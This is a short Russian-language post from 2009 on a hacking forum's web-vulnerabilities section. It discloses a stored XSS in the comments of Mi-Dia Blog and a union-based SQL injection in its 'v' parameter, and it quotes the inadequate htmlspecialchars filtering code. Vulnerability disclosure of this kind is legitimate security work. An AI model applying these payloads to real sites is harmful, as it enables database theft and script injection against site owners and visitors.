HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Mi-Dia Blog
  #1  
Старый 08.11.2009, 06:27
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию Mi-Dia Blog

Название: Mi-Dia Blog
Автор: Christopher Shaw
Адресс оффициальной странички: http://www.mi-dia.co.uk/

Активная XSS.
В комментариях к записям блога.
Цитата:
[img]javascript:alert()[/img]
SQL Иньекция
Цитата:
?s=view&v=-1'+union+select+1,2,3,4,5,6,7,8,9+--+
Кода много, приведу тока фильтрациб.
PHP код:
$v htmlspecialchars($_GET['v']);  
$d htmlspecialchars($_GET['d']); 
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Энциклопедия уязвимых скриптов DIAgen Веб-уязвимости 519 23.09.2021 11:44
Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS Corwin Веб-уязвимости 1 19.09.2009 14:01
cmd blog Дикс PHP 13 16.04.2009 17:24
Уязвимости InTerra Blog Machine Dimi4 Веб-уязвимости 0 08.01.2009 00:31
Invision Community Blog 1.1.0 jusuf Уязвимости CMS / форумов 1 14.07.2006 18:55



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.